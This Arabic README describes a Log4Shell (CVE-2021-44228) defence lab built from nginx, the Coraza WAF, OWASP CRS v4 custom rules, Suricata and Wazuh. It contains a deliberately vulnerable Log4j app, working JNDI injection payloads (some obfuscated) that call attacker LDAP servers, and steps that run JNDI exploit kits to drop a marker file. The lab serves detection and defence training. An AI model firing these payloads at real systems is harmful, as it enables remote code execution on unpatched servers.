
مختبر دفاع Log4Shell (CVE-2021-44228) — nginx + الوحدة الديناميكية لـ Coraza WAF + OWASP CRS v4. للاستخدام التعليمي فقط.
غرض تعليمي / دفاعي: يحتوي هذا المختبر على تطبيق ضعيف عمدًا (Log4j 2.14.1) ومجموعة أدوات استغلال JNDI، يُستخدم فقط لتعلم كيفية اكتشاف وحظر Log4Shell في بيئة معزولة. لا تنشره على الإنترنت، ولا تستخدمه لمهاجمة أنظمة لا تملكها.
مختبر عملي دفاعي لـ Log4Shell (CVE-2021-44228) باستخدام nginx المدمج مع Coraza WAF (وحدة ديناميكية) + OWASP CRS v4 + مجموعة قواعد مخصصة لـ JNDI. يتضمن حاوية هدف Spring Boot ضعيفة، وصندوق مهاجم Kali، و Suricata + Wazuh للمراقبة.
المضيف (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24، مواجه خارجي)
│ ├── nginx-proxy ← نقطة الدخول :80/:443، مع وحدة Coraza + CRS v4
│ ├── attacker-box ← Kali + أدوات استغلال JNDI
│ └── suricata-ids ← يراقب حركة dmz
│
└── backend-net (172.22.0.0/24، داخلي: true)
├── nginx-proxy ← واجهة شبكة ثانية
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← واجهة مستخدم
تدفق الطلب: العميل → nginx (فحص Coraza) → log4shell-app. يعمل WAF داخل nginx (عبر وحدة ngx_http_coraza_module.so)، وليس كحاوية منفصلة.
| العنصر | الإصدار الأدنى |
|---|---|
| Docker Desktop / Engine | 24+ مع Compose v2 |
| ذاكرة وصول عشوائي خالية | 4 جيجابايت (Wazuh يستهلك ~1.5 جيجابايت) |
| مساحة قرص خالية | 6 جيجابايت (قطع بناء الصور) |
| وقت البناء الأول | 10–15 دقيقة (libcoraza + وحدة nginx + أدوات Maven للمهاجم) |
cd /path/to/log4shell-nginx-coraza
docker compose build
المرحلة الأبطأ هي nginx (بناء libcoraza v1.4.0 باستخدام Go 1.25، ثم تجميع وحدة coraza-nginx). يتم التخزين المؤقت بعد المرة الأولى.
docker compose up -d
docker compose ps
بعد ~30 ثانية، الحالة المتوقعة:
| الخدمة | الحالة |
|---|---|
nginx-proxy | Up (سليم) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | قد يكون Restarting (انظر القسم 8 — لا يعطل المختبر) |
# اختبار حيوية nginx
curl http://localhost/health
# → "nginx proxy healthy"
# عبر WAF إلى التطبيق (نقطة النهاية الحقيقية للتطبيق الضعيف)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ بدون رأس X-Api-Version سيعيد 400 — هذا خطأ whitelabel من Spring Boot (لا يوجد معالج)، ليس حظرًا من WAF.
# JNDI في User-Agent → يتم تشغيل القاعدة 1910010، 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI في رأس يسجله التطبيق: X-Api-Version → يتم تشغيل القاعدة 1910001 (رأس+وسيطة)، 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI في سلسلة الاستعلام → CRS المرحلة 1 يحظر
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
متوقع: HTTP/1.1 403 Forbidden، الجسم <html>... 403 Forbidden ... nginx ...</html>.
# خدعة الأحرف الصغيرة (القاعدة 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# خدعة النقطتين-الشرطة-الشرطة (القاعدة 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (القاعدة 1910026: Content-Type=json + الجسم يحتوي على jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
كل حدث JSON Lines، يحتوي على:
transaction.is_interrupted: true → WAF حظرmessages[].error_message → أي قاعدة تم تشغيلها، اسم الملف ورقم السطر، الخطورةdocker exec nginx-proxy tail -f /var/log/nginx/access.log
تصفية الحظر:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
افتراضيًا، يتم تعيين
backend-netكـinternal: trueويكونattacker-boxفقط فيdmz-net، لذا لا يمكن لتطبيق log4shell الوصول إلى صندوق المهاجم. لتشغيل سلسلة JNDI بشكل كامل، قم بالخطوة 6.0 أولاً.
قم بتعديل docker-compose.yml، أضف attacker-box إلى backend-net:
attacker-box:
networks:
- dmz-net
- backend-net # <— أضف
أو انقل تطبيق log4shell إلى dmz-net (أبسط لكن يقلل الجانب التعليمي للتقسيم):
log4shell-app:
networks:
- backend-net
- dmz-net # <— أضف
طبق: docker compose up -d (سيعيد Compose إنشاء تلك الحاوية).
docker exec -it kali-attacker bash
cd /opt/exploits
# الخيار A: marshalsec — بسيط، يعيد توجيه LDAP→HTTP فقط
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# الخيار B: JNDI-Exploit-Kit — مجموعة أدوات كاملة، حمولة "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
يستمع الخادم على LDAP :1389 و HTTP :8888 (مكشوفة للمضيف في compose).
# من صندوق المهاجم، استدعاء تطبيق log4shell مباشرة على backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
تحقق:
# تم إنشاء علامة الاختراق في حاوية التطبيق
docker exec victim-app ls -la /tmp/pwned
إذا رأيت الملف → سلسلة الاستغلال تعمل، التطبيق لا يزال ضعيفًا، لم يتم تجاوز WAF عند المرور عبر المسار الرئيسي.
# المرور عبر nginx (المسار الرئيسي العام)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden، لا يوجد /tmp/pwned جديد
يتم تثبيت ملف ./coraza/config/log4shell-rules.conf كـ :ro في nginx عند /etc/nginx/coraza/log4shell-rules.conf. بعد التعديل:
docker exec nginx-proxy nginx -t # فحص الصياغة
docker exec nginx-proxy nginx -s reload
إذا أبلغ Coraza عن خطأ في التحليل (failed to compile the directive...)، ستخرج العمال و nginx -s reload لن يعيد تشغيلها. في هذه الحالة:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
ترتيب التضمين (في nginx/coraza/main.conf، مدمج في الصورة):
SecRuleEngine On، سجل التدقيق، سجل التصحيحcrs-setup.conf — تهيئة tx.*_anomaly_score، العتبةowasp-crs/rules/*.conf — CRS v4.7.0 بالكاملlog4shell-rules.conf — القواعد المخصصة (مركبة من المضيف)نطاق معرف القواعد المخصصة: 1910001 – 1910999 (تجنب نطاق CRS 900000–999999).
EMERGENCY، ALERT، CRITICAL، ERROR، WARNING، NOTICE، INFO، DEBUG. HIGH/LOW غير صالحة.IP:، SESSION:، RESOURCE:) لا تعمل إذا لم يتم تكوين مخزن دعم. استخدم tx. لكل طلب أو تحديد المعدل عبر nginx limit_req_zone.TX:VARNAME يمكنها فقط الإشارة إلى متغير تم تعيينه بـ setvar في نفس الطلب. إذا كانت القاعدة في مرحلة مختلفة، فكر في دمجها في قاعدة سلسلة.